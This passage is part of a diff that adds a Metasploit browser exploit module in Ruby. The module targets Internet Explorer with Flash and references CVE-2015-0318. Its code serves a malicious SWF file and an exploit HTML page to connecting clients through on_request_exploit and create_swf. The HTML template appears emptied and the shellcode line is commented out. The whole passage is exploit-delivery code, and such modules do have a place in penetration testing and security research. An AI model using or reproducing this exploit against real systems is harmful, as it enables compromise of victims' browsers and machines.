"{D27CDB6E-AE6D-11cf-96B8-444553540000}", + :method => "LoadMovie", + :os_name => OperatingSystems::Match::WINDOWS, + :ua_name => Msf::HttpClients::IE, + #:flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' } + }, + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Nov 25 2014", + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status("Sending SWF...") + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) + return + end + + print_status("Sending HTML...") + tag = retrieve_tag(cli, request) + profile = get_profile(tag) + profile[:tried] = false unless profile.nil? # to allow request the swf + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + #shellcode = get_payload(cli, target_info).unpack("H*")[0] + + html_template = %Q| + + + + + + + + + + + + + | + + return html_template, binding() + end + + def create_swf + path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" ) + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + +end